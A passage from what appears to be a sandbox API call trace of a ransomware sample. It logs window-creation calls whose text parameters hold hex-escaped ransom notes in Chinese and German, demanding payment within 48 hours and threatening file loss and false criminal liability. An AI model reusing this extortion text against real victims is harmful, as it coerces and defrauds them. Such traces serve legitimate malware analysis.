lParam=0x0) returned 0x0 [0154.732] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0 [0154.732] SendMessageW (hWnd=0x401dc, Msg=0xb0, wParam=0x2f86a64, lParam=0x19e340) returned 0x0 [0154.732] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xb0, wParam=0x2f86a64, lParam=0x19e340) returned 0x0 [0154.732] GetWindowTextLengthW (hWnd=0x401dc) returned 233 [0154.732] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xe9 [0154.732] GetSystemMetrics (nIndex=42) returned 0 [0154.732] GetWindowTextW (in: hWnd=0x401dc, lpString=0x19e090, nMaxCount=234 | out: lpString="\x7f8e\x597d\x7684\x4e00\x5929\xff01\x0d\x0a\x0d\x0a\x60a8\x8ba1\x7b97\x673a\x4e0a\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5df2\x52a0\x5bc6\x3002\x0d\x0a\x53ea\x6709\x5728\x6211\x4eec\x7684\x5e2e\x52a9\x4e0b\x624d\x80fd\x89e3\x7801\x6587\x4ef6\xff01\x0d\x0a\x0d\x0a\x60a8\x9700\x8981\x5728\x34\x38\x5c0f\x65f6\x5185\x4ed8\x6b3e\x624d\x80fd\x89e3\x5bc6\x0d\x0a\x6839\x636e\x60a8\x6240\x5728\x56fd\x5bb6\x2f\x5730\x533a\x7684\x5173\x7a0e\x6587\x4ef6\x3002\x0d\x0a\x4ece\x5de6\x8fb9\x7684\x7a97\x53e3\x663e\x793a\x5173\x7a0e\x21\x21\x21\x0d\x0a\x901a\x8fc7\x4ee5\x4e0b\x8054\x7cfb\x65b9\x5f0f\x652f\x4ed8\x60a8\x7684\x4e2a\x4eba\x89e3\x5bc6\x5bc6\x94a5\x540e\xff0c\x8bf7\x4e0e\x6211\x4eec\x8054\x7cfb\xff1a\x0d\x0a\x0d\x0a\x5982\x679c\x6ca1\x6709\x53d1\x751f\x8fd9\x79cd\x60c5\x51b5\xff0c\x90a3\x4e48\x37\x32\x5c0f\x65f6\x540e\x60a8\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5c06\x4e22\x5931\x3002\x0d\x0a\x6b64\x5916\xff0c\x6211\x4eec\x4f7f\x7528\x60a8\x7684\x8ba1\x7b97\x673a\x8fdb\x884c\x975e\x6cd5\x64cd\x4f5c\x3002\x0d\x0a\x60a8\x7684\x7535\x8111\x662f\x6839\x636e\x60a8\x7684\x6cd5\x5f8b\x8d2d\x4e70\x4e86\x591a\x5c11\x0d\x0a\x56fd\x5bb6\x662f\x4f60\x7684\x8d22\x4ea7\x3002\x0d\x0a\x4f60\x5c06\x5bf9\x6211\x4eec\x7684\x884c\x4e3a\x627f\x62c5\x5211\x4e8b\x8d23\x4efb\xff09\xff09\xff09\x0d\x0a\x0d\x0a\x5feb\x70b9\x4ed8\x94b1") returned 233 [0154.732] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0xd, wParam=0xea, lParam=0x19e090) returned 0xe9 [0154.732] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0154.732] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.733] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.733] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.734] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.734] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="\x7f8e\x597d\x7684\x4e00\x5929\xff01\x0d\x0a\x0d\x0a\x60a8\x8ba1\x7b97\x673a\x4e0a\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5df2\x52a0\x5bc6\x3002\x0d\x0a\x53ea\x6709\x5728\x6211\x4eec\x7684\x5e2e\x52a9\x4e0b\x624d\x80fd\x89e3\x7801\x6587\x4ef6\xff01\x0d\x0a\x0d\x0a\x60a8\x9700\x8981\x5728\x34\x38\x5c0f\x65f6\x5185\x4ed8\x6b3e\x624d\x80fd\x89e3\x5bc6\x0d\x0a\x6839\x636e\x60a8\x6240\x5728\x56fd\x5bb6\x2f\x5730\x533a\x7684\x5173\x7a0e\x6587\x4ef6\x3002\x0d\x0a\x4ece\x5de6\x8fb9\x7684\x7a97\x53e3\x663e\x793a\x5173\x7a0e\x21\x21\x21\x0d\x0a\x901a\x8fc7\x4ee5\x4e0b\x8054\x7cfb\x65b9\x5f0f\x652f\x4ed8\x60a8\x7684\x4e2a\x4eba\x89e3\x5bc6\x5bc6\x94a5\x540e\xff0c\x8bf7\x4e0e\x6211\x4eec\x8054\x7cfb\xff1a\x0d\x0a\x0d\x0a\x5982\x679c\x6ca1\x6709\x53d1\x751f\x8fd9\x79cd\x60c5\x51b5\xff0c\x90a3\x4e48\x37\x32\x5c0f\x65f6\x540e\x60a8\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5c06\x4e22\x5931\x3002\x0d\x0a\x6b64\x5916\xff0c\x6211\x4eec\x4f7f\x7528\x60a8\x7684\x8ba1\x7b97\x673a\x8fdb\x884c\x975e\x6cd5\x64cd\x4f5c\x3002\x0d\x0a\x60a8\x7684\x7535\x8111\x662f\x6839\x636e\x60a8\x7684\x6cd5\x5f8b\x8d2d\x4e70\x4e86\x591a\x5c11\x0d\x0a\x56fd\x5bb6\x662f\x4f60\x7684\x8d22\x4ea7\x3002\x0d\x0a\x4f60\x5c06\x5bf9\x6211\x4eec\x7684\x884c\x4e3a\x627f\x62c5\x5211\x4e8b\x8d23\x4efb\xff09\xff09\xff09\x0d\x0a\x0d\x0a\x5feb\x70b9\x4ed8\x94b1", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.734] SetWindowLongW (hWnd=0x501dc, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.734] GetWindowLongW (hWnd=0x501dc, nIndex=-4) returned 1876218976 [0154.735] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0x81, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.749] SetWindowTextW (hWnd=0x501dc, lpString="\x7f8e\x597d\x7684\x4e00\x5929\xff01\x0d\x0a\x0d\x0a\x60a8\x8ba1\x7b97\x673a\x4e0a\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5df2\x52a0\x5bc6\x3002\x0d\x0a\x53ea\x6709\x5728\x6211\x4eec\x7684\x5e2e\x52a9\x4e0b\x624d\x80fd\x89e3\x7801\x6587\x4ef6\xff01\x0d\x0a\x0d\x0a\x60a8\x9700\x8981\x5728\x34\x38\x5c0f\x65f6\x5185\x4ed8\x6b3e\x624d\x80fd\x89e3\x5bc6\x0d\x0a\x6839\x636e\x60a8\x6240\x5728\x56fd\x5bb6\x2f\x5730\x533a\x7684\x5173\x7a0e\x6587\x4ef6\x3002\x0d\x0a\x4ece\x5de6\x8fb9\x7684\x7a97\x53e3\x663e\x793a\x5173\x7a0e\x21\x21\x21\x0d\x0a\x901a\x8fc7\x4ee5\x4e0b\x8054\x7cfb\x65b9\x5f0f\x652f\x4ed8\x60a8\x7684\x4e2a\x4eba\x89e3\x5bc6\x5bc6\x94a5\x540e\xff0c\x8bf7\x4e0e\x6211\x4eec\x8054\x7cfb\xff1a\x0d\x0a\x0d\x0a\x5982\x679c\x6ca1\x6709\x53d1\x751f\x8fd9\x79cd\x60c5\x51b5\xff0c\x90a3\x4e48\x37\x32\x5c0f\x65f6\x540e\x60a8\x7684\x6240\x6709\x6587\x4ef6\x90fd\x5c06\x4e22\x5931\x3002\x0d\x0a\x6b64\x5916\xff0c\x6211\x4eec\x4f7f\x7528\x60a8\x7684\x8ba1\x7b97\x673a\x8fdb\x884c\x975e\x6cd5\x64cd\x4f5c\x3002\x0d\x0a\x60a8\x7684\x7535\x8111\x662f\x6839\x636e\x60a8\x7684\x6cd5\x5f8b\x8d2d\x4e70\x4e86\x591a\x5c11\x0d\x0a\x56fd\x5bb6\x662f\x4f60\x7684\x8d22\x4ea7\x3002\x0d\x0a\x4f60\x5c06\x5bf9\x6211\x4eec\x7684\x884c\x4e3a\x627f\x62c5\x5211\x4e8b\x8d23\x4efb\xff09\xff09\xff09\x0d\x0a\x0d\x0a\x5feb\x70b9\x4ed8\x94b1") [0154.749] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0xc, wParam=0x0, lParam=0x2fe48cc) returned 0x1 [0154.766] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0154.766] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.766] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.766] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.766] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.766] SaveDC (hdc=0x1e0106e1) returned 1 [0154.766] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0154.766] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.766] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.767] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.767] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.767] SaveDC (hdc=0x1e0106e1) returned 1 [0154.767] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.767] CreateSolidBrush (color=0x323533) returned 0x8210071f [0154.767] FillRect (hDC=0x1e0106e1, lprc=0x19d54c, hbr=0x8210071f) returned 1 [0154.767] DeleteObject (ho=0x8210071f) returned 1 [0154.767] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.767] GetWindowTextLengthW (hWnd=0x8004e) [0154.767] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.769] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.769] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.769] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.769] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.769] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.769] SaveDC (hdc=0x1e0106e1) returned 1 [0154.769] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.769] CreateSolidBrush (color=0x323533) returned 0x8310071f [0154.769] FillRect (hDC=0x1e0106e1, lprc=0x19dbf4, hbr=0x8310071f) returned 1 [0154.770] DeleteObject (ho=0x8310071f) returned 1 [0154.770] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.770] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.770] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.770] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.770] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.770] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.770] SaveDC (hdc=0x1e0106e1) returned 1 [0154.770] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.770] CreateSolidBrush (color=0x323533) returned 0x8410071f [0154.770] FillRect (hDC=0x1e0106e1, lprc=0x19db94, hbr=0x8410071f) returned 1 [0154.770] DeleteObject (ho=0x8410071f) returned 1 [0154.770] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.770] GetWindowTextLengthW (hWnd=0x8004e) [0154.770] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.773] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.773] SaveDC (hdc=0x1e0106e1) returned 1 [0154.773] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.773] CreateSolidBrush (color=0x323533) returned 0x8510071f [0154.773] FillRect (hDC=0x1e0106e1, lprc=0x19dbb4, hbr=0x8510071f) returned 1 [0154.773] DeleteObject (ho=0x8510071f) returned 1 [0154.773] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.773] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.773] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.774] SaveDC (hdc=0x1e0106e1) returned 1 [0154.774] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.774] CreateSolidBrush (color=0x323533) returned 0x8610071f [0154.774] FillRect (hDC=0x1e0106e1, lprc=0x19db54, hbr=0x8610071f) returned 1 [0154.774] DeleteObject (ho=0x8610071f) returned 1 [0154.774] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.774] GetWindowTextLengthW (hWnd=0x8004e) [0154.774] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.776] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.776] SaveDC (hdc=0x1b010670) returned 1 [0154.776] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.776] CreateSolidBrush (color=0x323533) returned 0x8710071f [0154.776] FillRect (hDC=0x1b010670, lprc=0x19dbb4, hbr=0x8710071f) returned 1 [0154.776] DeleteObject (ho=0x8710071f) returned 1 [0154.776] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.776] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.776] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.777] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.777] SaveDC (hdc=0x1b010670) returned 1 [0154.777] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.777] CreateSolidBrush (color=0x323533) returned 0x8810071f [0154.777] FillRect (hDC=0x1b010670, lprc=0x19db54, hbr=0x8810071f) returned 1 [0154.777] DeleteObject (ho=0x8810071f) returned 1 [0154.777] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.777] GetWindowTextLengthW (hWnd=0x8004e) [0154.777] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.778] IsChild (hWndParent=0x60126, hWnd=0x1023e) returned 0 [0154.778] GetParent (hWnd=0x60126) returned 0x8004e [0154.778] GetWindowLongW (hWnd=0x60126, nIndex=-20) returned 512 [0154.778] DestroyWindow (hWnd=0x60126) [0154.778] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.779] CoTaskMemAlloc (cb=0x650) returned 0xf6a5c8 [0154.779] GetWindowTextW (hWnd=0x60126, lpString=0xf6a5c8, nMaxCount=806) [0154.779] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0xd, wParam=0x326, lParam=0xf6a5c8) returned 0x325 [0154.779] CoTaskMemFree (pv=0xf6a5c8) [0154.779] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0154.780] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.780] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.781] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.781] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="\x47\x75\x74\x65\x6e\x20\x74\x61\x67\x0d\x0a\x0d\x0a\x41\x6c\x6c\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x61\x75\x66\x20\x49\x68\x72\x65\x6d\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x77\x65\x72\x64\x65\x6e\x20\x76\x65\x72\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x74\x2e\x0d\x0a\x44\x61\x73\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x20\x76\x6f\x6e\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x73\x74\x20\x6e\x75\x72\x20\x6d\x69\x74\x20\x75\x6e\x73\x65\x72\x65\x72\x20\x48\x69\x6c\x66\x65\x20\x6d\xf6\x67\x6c\x69\x63\x68\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x53\x69\x65\x20\x6d\xfc\x73\x73\x65\x6e\x20\x69\x6e\x6e\x65\x72\x68\x61\x6c\x62\x20\x76\x6f\x6e\x20\x34\x38\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e\x2c\x20\x75\x6d\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x6e\x20\x7a\x75\x20\x65\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x0d\x0a\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x64\x65\x6d\x20\x54\x61\x72\x69\x66\x20\x49\x68\x72\x65\x73\x20\x4c\x61\x6e\x64\x65\x73\x2e\x0d\x0a\x54\x61\x72\x69\x66\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x69\x6d\x20\x46\x65\x6e\x73\x74\x65\x72\x20\x76\x6f\x6e\x20\x6c\x69\x6e\x6b\x73\x20\x61\x6e\x67\x65\x7a\x65\x69\x67\x74\x20\x21\x21\x21\x0d\x0a\x55\x6e\x64\x20\x6b\x6f\x6e\x74\x61\x6b\x74\x69\x65\x72\x65\x6e\x20\x53\x69\x65\x20\x75\x6e\x73\x20\x6e\x61\x63\x68\x20\x64\x65\x72\x20\x42\x65\x7a\x61\x68\x6c\x75\x6e\x67\x20\x49\x68\x72\x65\x73\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x65\x6c\x6c\x65\x6e\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x75\x6e\x67\x73\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x73\x20\x70\x65\x72\x20\x4b\x6f\x6e\x74\x61\x6b\x74\x3a\x0d\x0a\x0d\x0a\x47\x65\x73\x63\x68\x69\x65\x68\x74\x20\x64\x69\x65\x73\x20\x6e\x69\x63\x68\x74\x2c\x20\x67\x65\x68\x65\x6e\x20\x6e\x61\x63\x68\x20\x37\x32\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x61\x6c\x6c\x65\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x76\x65\x72\x6c\x6f\x72\x65\x6e\x2e\x0d\x0a\x44\x61\x72\xfc\x62\x65\x72\x20\x68\x69\x6e\x61\x75\x73\x20\x76\x65\x72\x77\x65\x6e\x64\x65\x6e\x20\x77\x69\x72\x20\x49\x68\x72\x65\x6e\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x69\x6e\x20\x69\x68\x72\x65\x6e\x20\x69\x6c\x6c\x65\x67\x61\x6c\x65\x6e\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x2e\x0d\x0a\x55\x6e\x64\x20\x77\x69\x65\x20\x76\x69\x65\x6c\x20\x49\x68\x72\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x76\x6f\x6e\x20\x49\x68\x6e\x65\x6e\x20\x67\x65\x6b\x61\x75\x66\x74\x20\x77\x69\x72\x64\x20\x75\x6e\x64\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x49\x68\x72\x65\x72\x20\x47\x65\x73\x65\x74\x7a\x67\x65\x62\x75\x6e\x67\x0d\x0a\x4c\x61\x6e\x64\x20\x69\x73\x74\x20\x49\x68\x72\x20\x45\x69\x67\x65\x6e\x74\x75\x6d\x2e\x0d\x0a\x55\x6e\x64\x20\x53\x69\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x66\xfc\x72\x20\x75\x6e\x73\x65\x72\x65\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x20\x73\x74\x72\x61\x66\x72\x65\x63\x68\x74\x6c\x69\x63\x68\x20\x76\x65\x72\x61\x6e\x74\x77\x6f\x72\x74\x6c\x69\x63\x68\x20\x73\x65\x69\x6e\x29\x29\x29\x0d\x0a\x0d\x0a\x42\x65\x65\x69\x6c\x65\x6e\x20\x53\x69\x65\x20\x73\x69\x63\x68\x20\x7a\x75\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.781] SetWindowLongW (hWnd=0x70126, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.781] GetWindowLongW (hWnd=0x70126, nIndex=-4) returned 1876218976 [0154.782] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0x81, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.791] SetWindowTextW (hWnd=0x70126, lpString="\x47\x75\x74\x65\x6e\x20\x74\x61\x67\x0d\x0a\x0d\x0a\x41\x6c\x6c\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x61\x75\x66\x20\x49\x68\x72\x65\x6d\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x77\x65\x72\x64\x65\x6e\x20\x76\x65\x72\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x74\x2e\x0d\x0a\x44\x61\x73\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x20\x76\x6f\x6e\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x73\x74\x20\x6e\x75\x72\x20\x6d\x69\x74\x20\x75\x6e\x73\x65\x72\x65\x72\x20\x48\x69\x6c\x66\x65\x20\x6d\xf6\x67\x6c\x69\x63\x68\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x53\x69\x65\x20\x6d\xfc\x73\x73\x65\x6e\x20\x69\x6e\x6e\x65\x72\x68\x61\x6c\x62\x20\x76\x6f\x6e\x20\x34\x38\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e\x2c\x20\x75\x6d\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x6e\x20\x7a\x75\x20\x65\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x0d\x0a\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x64\x65\x6d\x20\x54\x61\x72\x69\x66\x20\x49\x68\x72\x65\x73\x20\x4c\x61\x6e\x64\x65\x73\x2e\x0d\x0a\x54\x61\x72\x69\x66\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x69\x6d\x20\x46\x65\x6e\x73\x74\x65\x72\x20\x76\x6f\x6e\x20\x6c\x69\x6e\x6b\x73\x20\x61\x6e\x67\x65\x7a\x65\x69\x67\x74\x20\x21\x21\x21\x0d\x0a\x55\x6e\x64\x20\x6b\x6f\x6e\x74\x61\x6b\x74\x69\x65\x72\x65\x6e\x20\x53\x69\x65\x20\x75\x6e\x73\x20\x6e\x61\x63\x68\x20\x64\x65\x72\x20\x42\x65\x7a\x61\x68\x6c\x75\x6e\x67\x20\x49\x68\x72\x65\x73\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x65\x6c\x6c\x65\x6e\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x75\x6e\x67\x73\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x73\x20\x70\x65\x72\x20\x4b\x6f\x6e\x74\x61\x6b\x74\x3a\x0d\x0a\x0d\x0a\x47\x65\x73\x63\x68\x69\x65\x68\x74\x20\x64\x69\x65\x73\x20\x6e\x69\x63\x68\x74\x2c\x20\x67\x65\x68\x65\x6e\x20\x6e\x61\x63\x68\x20\x37\x32\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x61\x6c\x6c\x65\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x76\x65\x72\x6c\x6f\x72\x65\x6e\x2e\x0d\x0a\x44\x61\x72\xfc\x62\x65\x72\x20\x68\x69\x6e\x61\x75\x73\x20\x76\x65\x72\x77\x65\x6e\x64\x65\x6e\x20\x77\x69\x72\x20\x49\x68\x72\x65\x6e\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x69\x6e\x20\x69\x68\x72\x65\x6e\x20\x69\x6c\x6c\x65\x67\x61\x6c\x65\x6e\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x2e\x0d\x0a\x55\x6e\x64\x20\x77\x69\x65\x20\x76\x69\x65\x6c\x20\x49\x68\x72\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x76\x6f\x6e\x20\x49\x68\x6e\x65\x6e\x20\x67\x65\x6b\x61\x75\x66\x74\x20\x77\x69\x72\x64\x20\x75\x6e\x64\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x49\x68\x72\x65\x72\x20\x47\x65\x73\x65\x74\x7a\x67\x65\x62\x75\x6e\x67\x0d\x0a\x4c\x61\x6e\x64\x20\x69\x73\x74\x20\x49\x68\x72\x20\x45\x69\x67\x65\x6e\x74\x75\x6d\x2e\x0d\x0a\x55\x6e\x64\x20\x53\x69\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x66\xfc\x72\x20\x75\x6e\x73\x65\x72\x65\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x20\x73\x74\x72\x61\x66\x72\x65\x63\x68\x74\x6c\x69\x63\x68\x20\x76\x65\x72\x61\x6e\x74\x77\x6f\x72\x74\x6c\x69\x63\x68\x20\x73\x65\x69\x6e\x29\x29\x29\x0d\x0a\x0d\x0a\x42\x65\x65\x69\x6c\x65\x6e\x20\x53\x69\x65\x20\x73\x69\x63\x68\x20\x7a\x75\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e") [0154.791] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0xc, wParam=0x0, lParam=0x2fe6a94) returned 0x1 [0154.795] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0154.795] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.795] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.795] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.795] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.795] SaveDC (hdc=0x1e0106e1) returned 1 [0154.795] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.795] CreateSolidBrush (color=0x323533) returned 0x8910071f [0154.795] FillRect (hDC=0x1e0106e1, lprc=0x19d5ac, hbr=0x8910071f) returned 1 [0154.795] DeleteObject 